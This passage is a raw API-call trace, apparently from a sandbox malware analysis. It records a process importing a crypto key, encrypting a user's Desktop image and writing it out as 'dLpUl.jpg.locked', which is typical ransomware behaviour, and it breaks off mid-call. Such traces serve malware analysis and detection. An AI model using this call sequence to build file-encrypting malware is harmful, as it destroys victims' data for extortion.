(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0127.915] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.915] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0127.915] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.915] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.915] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0127.915] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.915] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0127.915] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.915] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.915] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0127.915] SystemFunction041 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.916] SystemFunction040 (in: Memory=0x8e6ff0c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8e6ff0c) returned 0x0 [0127.916] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.916] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x5a6f\x5070\x4b01\x94a0\xc6ff\x7ef2\xe478\x441f") returned 0x28 [0127.916] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.916] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.916] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.916] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.916] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.916] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.917] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.917] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.917] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae960*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae960*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.917] SystemFunction041 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.917] SystemFunction040 (in: Memory=0x8e313f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e313f4) returned 0x0 [0127.918] CryptAcquireContextW (in: phProv=0x99ae6e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae6e0*=0x43969b0) returned 1 [0127.918] CryptImportKey (in: hProv=0x43969b0, pbData=0x6ae7c54, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aeab8 | out: phKey=0x99aeab8*=0x8e84c78) returned 1 [0127.918] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.919] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae7b8, nSize=0x100 | out: lpBuffer="筌ڮ") returned 0x0 [0127.919] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb90*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb90*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.919] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaf0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaf0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x33, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.919] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb80*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.952] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg")) returned 0x20 [0127.952] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg")) returned 0x20 [0127.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.952] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae434, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.952] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeb1c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb1c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.953] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.953] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.953] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.954] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.954] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x34, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.954] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.956] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0127.956] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x868 [0127.956] GetFileType (hFile=0x868) returned 0x1 [0127.956] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0127.956] GetFileType (hFile=0x868) returned 0x1 [0127.956] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.962] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="\x1000\x727a\xe3b0\x99a\x2810\x64b\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x20") returned 0x0 [0127.962] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.962] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x35, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.962] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.962] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked", nBufferLength=0x105, lpBuffer=0x99ada90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked", lpFilePart=0x0) returned 0x2e [0127.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf84) returned 1 [0127.962] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0127.964] GetFileType (hFile=0x858) returned 0x1 [0127.964] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99adf80) returned 1 [0127.964] GetFileType (hFile=0x858) returned 0x1 [0127.964] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.964] CryptGenRandom (in: hProv=0x43969b0, dwLen=0x10, pbBuffer=0x69048ac | out: pbBuffer=0x69048ac) returned 1 [0127.965] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.965] CryptDuplicateKey (in: hKey=0x8e84c78, pdwReserved=0x0, dwFlags=0x0, phKey=0x99ae6bc | out: phKey=0x99ae6bc*=0x8e84f38) returned 1 [0127.965] CryptContextAddRef (hProv=0x43969b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0127.965] CryptSetKeyParam (hKey=0x8e84f38, dwParam=0x4, pbData=0x6905b68*=0x1, dwFlags=0x0) returned 1 [0127.965] CryptSetKeyParam (hKey=0x8e84f38, dwParam=0x1, pbData=0x6905b34, dwFlags=0x0) returned 1 [0127.966] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.966] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.966] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x36, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.966] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.967] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.967] ReadFile (in: hFile=0x868, lpBuffer=0x690918c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x690918c*, lpNumberOfBytesRead=0x99ae6cc*=0xc054, lpOverlapped=0x0) returned 1 [0127.967] CryptEncrypt (in: hKey=0x8e84f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x691d198*, pdwDataLen=0x99ae6c0*=0xc050, dwBufLen=0xc050 | out: pbData=0x691d198*, pdwDataLen=0x99ae6c0*=0xc050) returned 1 [0127.967] WriteFile (in: hFile=0x858, lpBuffer=0x690496c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x690496c*, lpNumberOfBytesWritten=0x99ae6a4*=0x1000, lpOverlapped=0x0) returned 1 [0127.968] WriteFile (in: hFile=0x858, lpBuffer=0x691e184*, nNumberOfBytesToWrite=0xb064, lpNumberOfBytesWritten=0x99ae6a4, lpOverlapped=0x0 | out: lpBuffer=0x691e184*, lpNumberOfBytesWritten=0x99ae6a4*=0xb064, lpOverlapped=0x0) returned 1 [0127.969] ReadFile (in: hFile=0x868, lpBuffer=0x690918c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x99ae6cc, lpOverlapped=0x0 | out: lpBuffer=0x690918c*, lpNumberOfBytesRead=0x99ae6cc*=0x0, lpOverlapped=0x0) returned 1 [0127.969] CryptEncrypt (in: hKey=0x8e84f38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x692920c*, pdwDataLen=0x99ae714*=0x10, dwBufLen=0x10 | out: pbData=0x692920c*, pdwDataLen=0x99ae714*=0x10) returned 1 [0127.969] CryptEncrypt (in: hKey=0x8e84f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6929240*, pdwDataLen=0x99ae71c*=0x0, dwBufLen=0x10 | out: pbData=0x6929240*, pdwDataLen=0x99ae71c*=0x10) returned 1 [0127.969] WriteFile (in: hFile=0x858, lpBuffer=0x690496c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x99ae6ec, lpOverlapped=0x0 | out: lpBuffer=0x690496c*, lpNumberOfBytesWritten=0x99ae6ec*=0x10, lpOverlapped=0x0) returned 1 [0127.970] CloseHandle (hObject=0x858) returned 1 [0127.972] CloseHandle (hObject=0x868) returned 1 [0127.973] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.973] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0127.973] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.973] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x37, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.973] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x38, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0127.975] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg")) returned 0x20 [0127.975] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99adec4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.975] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.975] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0127.975] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.975] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0127.976] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.976] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0127.976] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.976] GetFullPathNameW (in: lpFileName="C:\\Users\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0127.976] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.976] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps" (normalized: "c:\\users\\ciihmnxmn6ps")) returned 0x10 [0127.976] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.976] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps", lpFilePart=0x0) returned 0x15 [0127.976] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.976] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0127.976] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop", nBufferLength=0x105, lpBuffer=0x99ade48, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.977] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\.", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpFilePart=0x0) returned 0x1d [0127.977] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\dlpul.jpg")) returned 0x20 [0127.977] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99ade4c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.977] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99adde0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.977] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", nBufferLength=0x105, lpBuffer=0x99adf88, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\dLpUl.jpg", lpFilePart=0x0) returned 0x27 [0127.977] SetThreadErrorMode (dwNewMode=0x1, 